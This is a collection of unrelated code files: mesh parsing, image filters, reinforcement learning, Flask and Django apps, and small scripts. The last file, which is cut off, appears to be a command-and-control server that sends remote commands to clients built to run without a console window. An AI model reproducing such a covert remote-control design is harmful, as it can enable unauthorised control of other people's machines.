self.mshfid.readline()\n pass\n line = self.mshfid.readline() #This line should contain number of nodes\n\n #Check that number of nodes in file is still the number of nodes in memory\n if(not sp.int32(line) == self.Nnodes):\n self.__error__(\"Something wrong. Aborting.\")\n exit(-1)\n\n self.__inform__(\"Parsing nodes\")\n\n if len(self.nodes_rules) == 0:\n self.__inform__(\"No rules for nodes... skipping nodes.\")\n for i in range(self.Nnodes):\n self.mshfid.readline()\n else:\n #Read all nodes and do stuff\n for i in range(self.Nnodes):\n\n #Parse the line\n sl = self.mshfid.readline().split()\n tag = sp.int32(sl[0])\n x = sp.double(sl[1])\n y = sp.double(sl[2])\n z = sp.double(sl[3])\n\n #Figure out the groups to which this node belongs\n physgroups = []\n for grp in self.physical_groups:\n if self.nodes_in_physical_groups[grp][tag] == 1:\n physgroups.append(grp)\n\n for condition, action in self.nodes_rules:\n if condition(tag,x,y,z,physgroups):\n action(tag,x,y,z)\n pass\n\n #Read another 2 lines after nodes are done. This should be $Elements\n line = self.mshfid.readline()\n line = self.mshfid.readline()\n if(line.find(\"$Elements\") == 0):\n self.__inform__(\"Parsing elements\")\n else:\n self.__error__(\"Something wrong reading elements. \")\n exit(-1)\n\n line = self.mshfid.readline() #This line should contain number of elements\n\n #Check that number of elements in file is still the number of elements in memory\n if(not sp.int32(line) == self.Nelem):\n self.__error__(\"Something wrong. Aborting.\")\n exit(-1)\n\n\n if len(self.elements_rules) == 0:\n self.__inform__(\"No rules for elements... skipping elements.\")\n for i in range(self.Nelem):\n self.mshfid.readline()\n else:\n #Read all elements and do stuff\n nodes = []\n for i in range(self.Nelem):\n\n sl = self.mshfid.readline().split()\n\n #Parse the line\n eletag = sp.int32(sl[0])\n eletype = sp.int32(sl[1])\n ntags = sp.int32(sl[2])\n physgrp = sp.int32(sl[3])\n partition = sp.int32(sl[4])\n\n if ntags >= 2:\n physgrp = sp.int32(sl[3])\n nodes = sp.array(sl[(3 + ntags)::], dtype=sp.int32)\n \n for condition, action in self.elements_rules:\n if condition(eletag,eletype,physgrp,nodes):\n action(eletag,eletype,physgrp,nodes)\n pass\n else:\n self.__error__(\".msh file has < 2 tags element with tag \" + str(eletag))\n\n\n pass\n\n\n\n def __inform__(self, msg):\n print( \"gmshTranslator: \" + msg )\n \n\n\n\n####################################################################################################\n####################################################################################################\n def __error__(self, msg):\n sys.stderr.write(\"gmshTranslator: ERROR! -> \" + msg + \"\\n\")\n\n #GMSH element definitions\n line_2_node = sp.int32(1) # 2-node line.\n triangle_3_node = sp.int32(2) # 3-node triangle.\n quadrangle_4_node = sp.int32(3) # 4-node quadrangle.\n tetrahedron_4_node = sp.int32(4) # 4-node tetrahedron.\n hexahedron_8_node = sp.int32(5) # 8-node hexahedron.\n prism_6_node = sp.int32(6) # 6-node prism.\n pyramid_5_node = sp.int32(7) # 5-node pyramid.\n line_3_node = sp.int32(8) # 3-node second order line (2 nodes associated with the vertices and 1 with the edge).\n triangle_6_node = sp.int32(9) # 6-node second order triangle (3 nodes associated with the vertices and 3 with the edges).\n quadrangle_9_node = sp.int32(10) # 9-node second order quadrangle (4 nodes associated with the vertices, 4 with the edges and 1 with the face).\n tetrahedron_10_node = sp.int32(11) # 10-node second order tetrahedron (4 nodes associated with the vertices and 6 with the edges).\n hexahedron_27_node = sp.int32(12) # 27-node second order hexahedron (8 nodes associated with the vertices, 12 with the edges, 6 with the faces and 1 with the volume).\n prism_18_node = sp.int32(13) # 18-node second order prism (6 nodes associated with the vertices, 9 with the edges and 3 with the quadrangular faces).\n pyramid_14_node = sp.int32(14) # 14-node second order pyramid (5 nodes associated with the vertices, 8 with the edges and 1 with the quadrangular face).\n point_1_node = sp.int32(15) # 1-node point.\n quadrangle_8_node = sp.int32(16) # 8-node second order quadrangle (4 nodes associated with the vertices and 4 with the edges).\n hexahedron_20_node = sp.int32(17) # 20-node second order hexahedron (8 nodes associated with the vertices and 12 with the edges).\n prism_15_node = sp.int32(18) # 15-node second order prism (6 nodes associated with the vertices and 9 with the edges).\n pyramid_13_node = sp.int32(19) # 13-node second order pyramid (5 nodes associated with the vertices and 8 with the edges).\n triangle_9_node_incomplete = sp.int32(20) # 9-node third order incomplete triangle (3 nodes associated with the vertices, 6 with the edges)\n triangle_10_node = sp.int32(21) # 10-node third order triangle (3 nodes associated with the vertices, 6 with the edges, 1 with the face)\n triangle_12_node_incomplete = sp.int32(22) # 12-node fourth order incomplete triangle (3 nodes associated with the vertices, 9 with the edges)\n triangle_15_node = sp.int32(23) # 15-node fourth order triangle (3 nodes associated with the vertices, 9 with the edges, 3 with the face)\n triangle_15_node_incomplete = sp.int32(24) # 15-node fifth order incomplete triangle (3 nodes associated with the vertices, 12 with the edges)\n triangle_21_node = sp.int32(25) # 21-node fifth order complete triangle (3 nodes associated with the vertices, 12 with the edges, 6 with the face)\n edge_4_node = sp.int32(26) # 4-node third order edge (2 nodes associated with the vertices, 2 internal to the edge)\n edge_5_node = sp.int32(27) # 5-node fourth order edge (2 nodes associated with the vertices, 3 internal to the edge)\n edge_6_node = sp.int32(28) # 6-node fifth order edge (2 nodes associated with the vertices, 4 internal to the edge)\n tetrahedron_20_node = sp.int32(29) # 20-node third order tetrahedron (4 nodes associated with the vertices, 12 with the edges, 4 with the faces)\n tetrahedron_35_node = sp.int32(30) # 35-node fourth order tetrahedron (4 nodes associated with the vertices, 18 with the edges, 12 with the faces, 1 in the volume)\n tetrahedron_56_node = sp.int32(31) # 56-node fifth order tetrahedron (4 nodes associated with the vertices, 24 with the edges, 24 with the faces, 4 in the volume)\n hexahedron_64_node = sp.int32(92) # 64-node third order hexahedron (8 nodes associated with the vertices, 24 with the edges, 24 with the faces, 8 in the volume)\n hexahedron_125_node = sp.int32(93) # 125-node fourth order hexahedron (8 nodes associated with the vertices, 36 with the edges, 54 with the faces, 27 in the volume)\n\n\n\n#end class gmshtranslator\n\n\n# From GMSH doc - \n# 1 : 2-node line.\n# 2 : 3-node triangle.\n# 3 : 4-node quadrangle.\n# 4 : 4-node tetrahedron.\n# 5 : 8-node hexahedron.\n# 6 : 6-node prism.\n# 7 : 5-node pyramid.\n# 8 : 3-node second order line (2 nodes associated with the vertices and 1 with the edge).\n# 9 : 6-node second order triangle (3 nodes associated with the vertices and 3 with the edges).\n# 10 : 9-node second order quadrangle (4 nodes associated with the vertices, 4 with the edges and 1 with the face).\n# 11 : 10-node second order tetrahedron (4 nodes associated with the vertices and 6 with the edges).\n# 12 : 27-node second order hexahedron (8 nodes associated with the vertices, 12 with the edges, 6 with the faces and 1 with the volume).\n# 13 : 18-node second order prism (6 nodes associated with the vertices, 9 with the edges and 3 with the quadrangular faces).\n# 14 : 14-node second order pyramid (5 nodes associated with the vertices, 8 with the edges and 1 with the quadrangular face).\n# 15 : 1-node point.\n# 16 : 8-node second order quadrangle (4 nodes associated with the vertices and 4 with the edges).\n# 17 : 20-node second order hexahedron (8 nodes associated with the vertices and 12 with the edges).\n# 18 : 15-node second order prism (6 nodes associated with the vertices and 9 with the edges).\n# 19 : 13-node second order pyramid (5 nodes associated with the vertices and 8 with the edges).\n# 20 : 9-node third order incomplete triangle (3 nodes associated with the vertices, 6 with the edges)\n# 21 : 10-node third order triangle (3 nodes associated with the vertices, 6 with the edges, 1 with the face)\n# 22 : 12-node fourth order incomplete triangle (3 nodes associated with the vertices, 9 with the edges)\n# 23 : 15-node fourth order triangle (3 nodes associated with the vertices, 9 with the edges, 3 with the face)\n# 24 : 15-node fifth order incomplete triangle (3 nodes associated with the vertices, 12 with the edges)\n# 25 : 21-node fifth order complete triangle (3 nodes associated with the vertices, 12 with the edges, 6 with the face)\n# 26 : 4-node third order edge (2 nodes associated with the vertices, 2 internal to the edge)\n# 27 : 5-node fourth order edge (2 nodes associated with the vertices, 3 internal to the edge)\n# 28 : 6-node fifth order edge (2 nodes associated with the vertices, 4 internal to the edge)\n# 29 : 20-node third order tetrahedron (4 nodes associated with the vertices, 12 with the edges, 4 with the faces)\n# 30 : 35-node fourth order tetrahedron (4 nodes associated with the vertices, 18 with the edges, 12 with the faces, 1 in the volume)\n# 31 : 56-node fifth order tetrahedron (4 nodes associated with the vertices, 24 with the edges, 24 with the faces, 4 in the volume)\n# 92 : 64-node third order hexahedron (8 nodes associated with the vertices, 24 with the edges, 24 with the faces, 8 in the volume)\n# 93 : 125-node fourth order hexahedron (8 nodes associated with the vertices, 36 with the edges, 54 with the faces, 27 in the volume)\n\n# Line: Line3: Line4: \n \n# 0----------1 --> u 0-----2----1 0----2----3----1\n\n# Triangle: Triangle6: Triangle9/10: Triangle12/15:\n\n# v \n# ^ 2 \n# | | \\ \n# 2 2 2 9 8\n# |`\\ |`\\ | \\ | \\ \n# | `\\ | `\\ 7 6 10 (14) 7\n# | `\\ 5 `4 | \\ | \\ \n# | `\\ | `\\ 8 (9) 5 11 (12) (13) 6\n# | `\\ | `\\ | \\ | \\\n# 0----------1 --> u 0-----3----1 0---3---4---1 0---3---4---5---1\n\n# Quadrangle: Quadrangle8: Quadrangle9:\n\n# v\n# ^\n# |\n# 3-----------2 3-----6-----2 3-----6-----2 \n# | | | | | | | \n# | | | | | | | \n# | +---- | --> u 7 5 7 8 5 \n# | | | | | | \n# | | | | | | \n# 0-----------1 0-----4-----1 0-----4-----1 \n\n# Tetrahedron: Tetrahedron10:\n\n# v\n# .\n# ,/\n# /\n# 2 2 \n# ,/|`\\ ,/|`\\ \n# ,/ | `\\ ,/ | `\\ \n# ,/ '. `\\ ,6 '. `5 \n# ,/ | `\\ ,/ 8 `\\ \n# ,/ | `\\ ,/ | `\\ \n# 0-----------'.--------1 --> u 0--------4--'.--------1\n# `\\. | ,/ `\\. | ,/ \n# `\\. | ,/ `\\. | ,9 \n# `\\. '. ,/ `7. '. ,/ \n# `\\. |/ `\\. |/ \n# `3 `3 \n# `\\.\n# ` w\n# Hexahedron: Hexahedron20: Hexahedron27:\n\n# v\n# 3----------2 3----13----2 3----13----2 \n# |\\ ^ |\\ |\\ |\\ |\\ |\\ \n# | \\ | | \\ | 15 | 14 |15 24 | 14 \n# | \\ | | \\ 9 \\ 11 \\ 9 \\ 20 11 \\ \n# | 7------+---6 | 7----19+---6 | 7----19+---6 \n# | | +-- |-- | -> u | | | | |22 | 26 | 23| \n# 0---+---\\--1 | 0---+-8----1 | 0---+-8----1 | \n# \\ | \\ \\ | \\ 17 \\ 18 \\ 17 25 \\ 18\n# \\ | \\ \\ | 10 | 12| 10 | 21 12| \n# \\| w \\| \\| \\| \\| \\| \n# 4----------5 4----16----5 4----16----5 \n\n# Prism: Prism15: Prism18:\n\n# w\n# ^\n# |\n# 3 3 3 \n# ,/|`\\ ,/|`\\ ,/|`\\ \n# ,/ | `\\ 12 | 13 12 | 13 \n# ,/ | `\\ ,/ | `\\ ,/ | `\\ \n# 4------+------5 4------14-----5 4------14-----5 \n# | | | | 8 | | 8 | \n# | ,/|`\\ | | | | | ,/|`\\ | \n# | ,/ | `\\ | | | | | 15 | 16 | \n# |,/ | `\\| | | | |,/ | `\\| \n# ,| | |\\ 10 | 11 10-----17-----11\n# ,/ | 0 | `\\ | 0 | | 0 | \n# u | ,/ `\\ | v | ,/ `\\ | | ,/ `\\ | \n# | ,/ `\\ | | ,6 `7 | | ,6 `7 | \n# |,/ `\\| |,/ `\\| |,/ `\\| \n# 1-------------2 1------9------2 1------9------2 \n\n# Pyramid: Pyramid13: Pyramid14:\n\n# 4 4 4\n# ,/|\\ ,/|\\ ,/|\\\n# ,/ .'|\\ ,/ .'|\\ ,/ .'|\\\n# ,/ | | \\ ,/ | | \\ ,/ | | \\\n# ,/ .' | `. ,/ .' | `. ,/ .' | `.\n# ,/ | '. \\ ,7 | 12 \\ ,7 | 12 \\\n# ,/ .' w | \\ ,/ .' | \\ ,/ .' | \\\n# ,/ | ^ | \\ ,/ 9 | 11 ,/ 9 | 11\n# 0----------.'--|-3 `. 0--------6-.'----3 `. 0--------6-.'----3 `.\n# `\\ | | `\\ \\ `\\ | `\\ \\ `\\ | `\\ \\\n# `\\ .' +----`\\ - \\ -> v `5 .' 10 \\ `5 .' 13 10 \\\n# `\\ | `\\ `\\ \\ `\\ | `\\ \\ `\\ | `\\ \\ \n# `\\.' `\\ `\\` `\\.' `\\` `\\.' `\\` \n# 1----------------2 1--------8-------2 1--------8-------2\n# `\\\n# u\n\n# element_strings = {\n\n# \"brick27string\" : \"\"\"\n# add element # {0} type 27NodeBrickLT \n# with nodes ({1}, {2}, {3}, \n# {4}, {5}, {6}, \n# {7}, {8}, {9}, \n# {10}, {11}, {12}, \n# {13}, {14}, {15}, \n# {16}, {17}, {18}, \n# {19}, {20}, {21}, \n# {22}, {23}, {24}, \n# {25}, {26}, {27}) \n# use material # {28} ;\n# \"\"\",\n\n# \"brick8string\" : \"\"\"\n# add element # {0} type 8NodeBrickLT \n# with nodes ({1}, {2}, {3}, \n# {4}, {5}, {6}, \n# {7}, {8}) \n# use material # {9} ;\n# \"\"\",\n\n# \"shell4node\" : \"\"\"\n# add element # {tag} type 4NodeShell_ANDES with nodes ({n1}, {n2}, {n3}, {n4}) use material # {p1}\n# thickness = {p2};\n# \"\"\"\n# }","sub_path":"Translators/gmshtranslator.py","file_name":"gmshtranslator.py","file_ext":"py","file_size_in_byte":22861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"333692574","text":"'''\nCS 115\nAuthor: Boaz Cogan\nThis program adjusts the individual pixels in an image to increase contrast, invert the image, or switch\nthe rgb channels.\n'''\n\nfrom graphics import *\nfrom helper_graphics import *\nimport time\nimport random\nimport sys\n\n\ndef invert_img(image):\n '''\n image an instance of image:\n This function adjusts the colors of the image to their inverse color.\n '''\n width = image.getWidth()\n height = image.getHeight()\n for i in range(width):\n for j in range(height):\n pixel = image.getPixel(i, j)\n for color in range(len(pixel)):\n pixel[color] = 255 - pixel[color]\n newcolor = color_rgb(pixel[0],pixel[1],pixel[2])\n image.setPixel(i, j, newcolor)\n\ndef switch_rgb(image):\n '''\n image: an instance of image\n This function randomly switches the red green and blue values.\n '''\n width = image.getWidth()\n height = image.getHeight()\n random_list1 = random.sample(range(0, 3), 3)\n\n for i in range(width):\n for j in range(height):\n pixel = image.getPixel(i, j)\n newcolor = color_rgb(pixel[random_list1[0]],pixel[random_list1[1]],pixel[random_list1[2]])\n image.setPixel(i, j, newcolor)\n\ndef increase_contrast(image):\n '''\n image: an instance of image\n This function increases the contrast of an images colors.\n '''\n width = image.getWidth()\n height = image.getHeight()\n max_color = [0,0,0]\n #red_max = 0\n #blue_max = 0\n #green_max = 0\n min_color = [1000,1000,1000]\n #No value can be greater than 255, therefore the first value that is compared to 1000 will replace it.\n #red_min = 1000\n #green_min = 1000\n #blue_min = 1000\n\n for i in range(width):\n for j in range(height):\n pixel = image.getPixel(i, j)\n for r in range(3):\n if pixel[r]>max_color[r]:\n max_color[r]=pixel[r]\n if pixel[r] epsilon_decay_delay:\n epsilon = max(epsilon_min, epsilon_decay*epsilon) # decrease epsilon\n print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, np.mean(scores_window)), end=\"\")\n if i_episode % 100 == 0:\n print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, np.mean(scores_window)))\n if np.mean(scores_window)>=average_score_solved:\n num_episodes_solved = i_episode - 100\n print('\\nEnvironment solved in {:d} episodes!\\tAverage Score: {:.2f}'.format(num_episodes_solved, np.mean(scores_window)))\n torch.save(agent.qnetwork_local.state_dict(), 'checkpoint.pth')\n break\n return scores, num_episodes_solved\n","sub_path":"p1_navigation/deep_q_learning.py","file_name":"deep_q_learning.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"67345524","text":"\"\"\"Helps get the API without hard coding tokens\"\"\"\nimport tweepy\n\ndef get_api_from_tokens(api_key, api_secret, token, token_secret):\n \"\"\"\n Gets an api object from entered tokens\n\n Arguments:\n api_key: the oauth api key\n api_secret: the oauth api secret\n token: the twitter access token\n token_secret: the twitter access token secret\n Returns:\n a tweepy api object\n \"\"\"\n auth = tweepy.OAuthHandler(api_key, api_secret)\n auth.set_access_token(token, token_secret)\n\n api = tweepy.API(auth)\n return api\n","sub_path":"api_helper.py","file_name":"api_helper.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"396582697","text":"\"\"\"\r\nocr1 adaptor, used for testing\r\n\r\nThis module lets us test ocr1.py without having to know how ocr1.py works\r\ninternally.\r\n\r\n\"\"\"\r\n\r\nimport os\r\nimport subprocess\r\nimport sys\r\nimport tempfile\r\n\r\npython_exe = sys.executable\r\nscript = 'ocr1.py'\r\n\r\ndef run_ocr(input_string):\r\n \"\"\"Given a string, give it to ocr1 as a file, and return the\r\n output of ocr1 as a string.\"\"\"\r\n\r\n # create temporary file, write input string to file, and close file\r\n temp_file = tempfile.NamedTemporaryFile(delete=False)\r\n temp_file.write(input_string)\r\n temp_file.close()\r\n\r\n # call minesweeper with temporary file, while capturing standard out\r\n pipe = subprocess.Popen([python_exe, script, temp_file.name], \r\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\r\n\r\n # get standard out\r\n output = pipe.communicate()[0]\r\n\r\n # delete temporary file\r\n os.unlink(temp_file.name)\r\n\r\n return output\r\n\r\n","sub_path":"boonth/ocr1_adaptor.py","file_name":"ocr1_adaptor.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"569683840","text":"\"\"\"\nGet 1-best path from existing ac score & lm score of n-best list files\n\nFinal score = ac_scale * (-ac_cost) + lm_scale * (-lm_cost)\n1best-path = argmax(final score)\n\"\"\"\n\nimport os\nimport sys\nimport argparse\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"hypos\", type=str, help=\"Hypothesis file.\")\n parser.add_argument(\"accost\", type=str, help=\"AC cost file.\")\n parser.add_argument(\"--ac-scale\", type=float,\n default=1.0, help=\"AC cost scale.\")\n parser.add_argument(\"--lmcost\", type=str, help=\"LM cost file.\")\n parser.add_argument(\"--lm-scale\", type=float,\n default=1.0, help=\"LM cost scale.\")\n parser.add_argument(\"--wip\", type=float,\n default=0.0, help=\"Word insert penalty.\")\n args = parser.parse_args()\n for attr in ['hypos', 'accost', 'lmcost']:\n attr = getattr(args, attr)\n if attr is not None:\n if not os.path.isfile(attr):\n raise FileNotFoundError(attr)\n if args.lmcost is None:\n enable_lm = False\n else:\n enable_lm = True\n\n hypos = {}\n with open(args.hypos, 'r') as fi:\n for line in fi:\n uidhyp = line.strip().split(maxsplit=1)\n if len(uidhyp) == 1:\n hypos[uidhyp[0]] = ''\n else:\n hypos[uidhyp[0]] = uidhyp[1]\n\n ac_scores = {}\n with open(args.accost, 'r') as fi:\n for line in fi:\n uid, _score = line.strip().split(maxsplit=1)\n ac_scores[uid] = -float(_score) * args.ac_scale\n if uid not in hypos:\n raise RuntimeError(\n f\"'{uid}' found in '{args.accost}' but not in '{args.hypos}'\")\n\n if enable_lm:\n lm_scores = {}\n with open(args.lmcost, 'r') as fi:\n for line in fi:\n uid, _score = line.strip().split(maxsplit=1)\n lm_scores[uid] = -float(_score) * args.lm_scale\n if uid not in hypos:\n raise RuntimeError(\n f\"'{uid}' found in '{args.lmcost}' but not in '{args.hypos}'\")\n else:\n lm_scores = {uid: 0.0 for uid in hypos}\n\n nbest = {}\n for uid in hypos:\n _, real_uid = uid[::-1].split('-', maxsplit=1)\n real_uid = real_uid[::-1]\n if real_uid not in nbest:\n nbest[real_uid] = []\n nbest[real_uid].append(\n (ac_scores[uid] + lm_scores[uid] + (-args.wip) *\n len(hypos[uid].split()), hypos[uid])\n )\n\n try:\n for ruid in nbest:\n score, path1best = max(nbest[ruid], key=lambda item: item[0])\n # nbest[ruid] = sorted(\n # nbest[ruid], key=lambda item: item[0], reverse=True)\n sys.stdout.write(f\"{ruid} {path1best}\\n\")\n except IOError:\n sys.exit(0)\n","sub_path":"egs/libri/1bestpath.py","file_name":"1bestpath.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"488581014","text":"# an example of how to run the MuonEfficiencyCorrections tool in athena\n\n# Set up the file reading:/ptmp/mpp/goblirsc/datasets/xAOD/mc14_8TeV.147807.PowhegPythia8_AU2CT10_Zmumu.merge.AOD.e1852_s1896_s1912_r5591_r5625_tid01512429_00/AOD.01512429._000146.pool.root.1\n\nif not \"FNAME\" in vars() and not \"FNAME\" in globals():\n \tFNAME =\"/afs/cern.ch/work/k/kokasaha/public/mc12_valid.147807.PowhegPythia8_AU2CT10_Zmumu/AOD.04274415._000100.pool.root.1\"\n#\tFNAME = \"/afs/cern.ch/atlas/project/PAT/data/xAOD/valid2.117050.PowhegPythia_P2011C_ttbar.digit.AOD.e2657_s1933_s1964_r5493.pool.root\"\n#FNAME = \"/afs/cern.ch/atlas/project/PAT/data/xAOD/valid1.105200.McAtNloJimmy_CT10_ttbar_LeptonFilter.AOD.devval_rel_5.pool.root\"\nimport AthenaPoolCnvSvc.ReadAthenaPool\nServiceMgr.EventSelector.InputCollections = [ FNAME ]\n\n# Access the algorithm sequence:\nfrom AthenaCommon.AlgSequence import AlgSequence\ntheJob = AlgSequence()\n\n# Add the MCP tool\n\nfrom MuonEfficiencyCorrections.MuonEfficiencyCorrectionsConf import CP__MuonEfficiencyScaleFactors\ntool = CP__MuonEfficiencyScaleFactors(\"MyMCPTool\")\ntool.WorkingPoint = \"Loose\"\n\nfrom MuonSelectorTools.MuonSelectorToolsConf import CP__MuonSelectionTool\nMuSelecTool = CP__MuonSelectionTool(\"MuonSelectionTool\")\nToolSvc += MuSelecTool\n\nfrom MuonEfficiencyCorrections.MuonEfficiencyCorrectionsConf import CP__MuonTriggerScaleFactors\ntrigsftool = CP__MuonTriggerScaleFactors(\"TriggerSFTool\",\n\t\t\t\t\t runNumber=900000,\n\t\t\t\t\t MuonSelectionTool=MuSelecTool)\n\n# Add the test algorithm:\nfrom MuonEfficiencyCorrections.MuonEfficiencyCorrectionsConf import CP__MuonEfficiencyCorrections_TestAlg\nalg = CP__MuonEfficiencyCorrections_TestAlg()\nalg.ScaleFactorTool = tool\nalg.TrigScaleFactorTool = trigsftool\nalg.OutputLevel = DEBUG\ntheJob += alg\n\n# Do some additional tweaking:\nfrom AthenaCommon.AppMgr import theApp\ntheApp.EvtMax = 10\nServiceMgr.MessageSvc.OutputLevel = INFO\nServiceMgr.MessageSvc.defaultLimit = 1000000\n","sub_path":"public/ATLAS/ReadTruth/RootCoreBin/data/MuonEfficiencyCorrections/MuonEfficiencyCorrections_xAOD_Testing_jobOptions.py","file_name":"MuonEfficiencyCorrections_xAOD_Testing_jobOptions.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"95514693","text":"from django.contrib import admin\nfrom django.conf import settings\nfrom django.views.generic import RedirectView\nfrom django.conf.urls import patterns, include, url\n\n# https://docs.djangoproject.com/en/1.8/topics/http/urls/\n\nadmin.autodiscover()\n\nurlpatterns = [\n\turl(r'^reimage/', include('reimage.urls')),\n url(r'^posts/', include('news.urls')),\n url(r'^staff/', include('staff.urls')),\n url(r'^admin/', include(admin.site.urls)),\n\turl(r'^', include('front.urls')),\n ]\n\nif settings.DEBUG:\n\turlpatterns += patterns('',\n\t\t(r'^media/(?P.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),\n\t)\n","sub_path":"avalanche/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"104325925","text":"from flask import render_template, flash, redirect, url_for\nfrom app import app\nfrom app.forms import LoginForm\nfrom flask_login import current_user, login_user\nfrom app.models import User, Preference\nfrom flask_login import logout_user\nfrom flask_login import login_required\nfrom flask import request\nfrom werkzeug.urls import url_parse\nfrom app import db\nfrom app.forms import RegistrationForm, SearchForm, ResultsForm\n\n\n#ROUTE FOR HOME PAGE\n@app.route('/')\n@app.route('/index')\n@login_required\ndef index():\n #FIX\n preferences = [\n {\n 'user': {'username': 'John'},\n 'body': 'Some text.'\n },\n {\n 'user': {'username': 'Susan'},\n 'body': 'Some more text.'\n }\n ]\n return render_template('index.html', title='Home', user=user, preferences=preferences)\n\n\n#ROUTE FOR LOGIN PAGE\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n #IF YOU'RE LOGGED IN, SENDS YOU TO HOMEPAGE\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n\n form = LoginForm()\n\n #VALIDATES INPUT DATA\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.username.data).first()\n if user is None or not user.check_password(form.password.data):\n flash('Invalid username or password')\n return redirect(url_for('login'))\n\n login_user(user, remember=form.remember_me.data)\n next_page = request.args.get('next')\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for('index')\n return redirect(next_page)\n\n return render_template('login.html', title='Sign In', form=form)\n\n\n#ROUTE FOR LOGOUT MENU BUTTON\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\n\n#ROUTE FOR REGISTRATION PAGE\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n #IF CURRENT USER, SEND BACK TO HOME\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n\n form = RegistrationForm()\n #ADDS NEW USER TO DATABASE\n if form.validate_on_submit():\n user = User(username=form.username.data, email=form.email.data)\n user.set_password(form.password.data)\n db.session.add(user)\n db.session.commit()\n\n flash('Congratulations, you are now a registered user!')\n return redirect(url_for('login'))\n\n return render_template('register.html', title='Register', form=form)\n\n\n#PROFILE PAGE, NOT REALLY USED\n@app.route('/user/')\n@login_required\ndef user(username):\n user = User.query.filter_by(username=username).first_or_404()\n\n #CAN IGNORE THIS SHIT\n preferences = [\n {'user': user, 'body': 'Test post 1'},\n {'user': user, 'body': 'Test post 2'}\n ]\n return render_template('user.html', user=user, preferences=preferences)\n\n\n#ROUTE FOR PREFERENCE SELECTION PAGE\n@app.route('/user/findmovies', methods=['GET', 'POST'])\n@login_required\ndef findmovies():\n form = SearchForm()\n\n #STORES USER PREFERENCES IN DATABASE\n if form.validate_on_submit():\n preference = Preference(\n genre=form.genre.data, actor=form.actor.data, rating=form.rating.data, director=form.director.data)\n db.session.add(preference)\n db.session.commit()\n\n return redirect(url_for('showresults'))\n return render_template('findmovies.html', user=user, form=form)\n\n\n#ROUTE FOR THE RESULTS PAGE\n@app.route('/user/findmovies/showresults')\n@login_required\ndef showresults():\n form = ResultsForm()\n\n\n\n return render_template('showresults.html', user=user, form=form)\n\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"293508871","text":"# Create a function named add_greetings() which takes a list of strings named names as a parameter.\n# In the function, create an empty list that will contain each greeting.\n# Add the string \"Hello, \" in front of each name in names and append the greeting to the list.\n\n# Return the new list containing the greetings.\n\n#Write your function here\ndef add_greetings(names):\n names2 = []\n for i in range(len(names)):\n names2.append(\"Hello, \" + names[i])\n return names2\n\n#Uncomment the line below when your function is done\nprint(add_greetings([\"Owen\", \"Max\", \"Sophie\"]))\n","sub_path":"Loops/Greetings.py","file_name":"Greetings.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"504977096","text":"import socket\nimport threading\nfrom os import system\nimport sys\nimport time\nfrom tkinter import *\nimport os\nfrom tkinter.font import Font\nsys.path.insert(0, 'library')\nfrom clearing import clear\nimport clientsWindow\n\nsystem(\"title \"+ 'Server')\n\n#pyinstaller --onefile --noconsole -p library client.py\n\n\n\nclass ThreadedServer(object):\n def __init__(self):\n self.host = ''\n self.port = 9999\n self.all_connections = []\n self.all_addresses = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((self.host, self.port))\n threading.Thread(target = self.console).start()\n\n def listen(self):\n self.sock.listen(50)\n while True:\n client, address = self.sock.accept()\n client_info = client.recv(1024).decode()\n self.all_connections.append(client)\n self.all_addresses.append(client_info)\n with open('logs\\\\logs.txt', 'a+') as f:\n f.write('Connected to MAIN_RIFLE of: ' + client_info + '\\n')\n threading.Thread(target = self.listenToClient,args = (client,address,client_info)).start()\n\n def listenToClient(self, client, address, client_info):\n while True:\n try:\n client.send('test'.encode())\n time.sleep(1)\n except (ConnectionResetError, ConnectionAbortedError):\n with open('logs\\\\logs.txt', 'a+') as f:\n f.write(client_info + ' disconnected!\\n')\n self.all_connections.remove(client)\n self.all_addresses.remove(client_info)\n break\n client.close()\n\n def console(self):\n while True:\n console_input = input('OPerator> ')\n if console_input == 'list':\n self.clientsList()\n\n elif console_input == 'quit':\n print('Exiting')\n os._exit(1)\n\n elif 'exitrifle' in console_input:\n client = self.getTarget(console_input)[0]\n address = self.getTarget(console_input)[1]\n client.send('exitrifle'.encode())\n print(client.recv(1024).decode() + address)\n\n elif 'kick' in console_input:\n client = self.getTarget(console_input)[0]\n address = self.getTarget(console_input)[1]\n client.send('kick'.encode())\n print(client.recv(1024).decode() + address)\n\n elif 'check' in console_input:\n client = self.getTarget(console_input)[0]\n client.send('check'.encode())\n print(client.recv(1024).decode())\n\n elif 'start' in console_input:\n client = 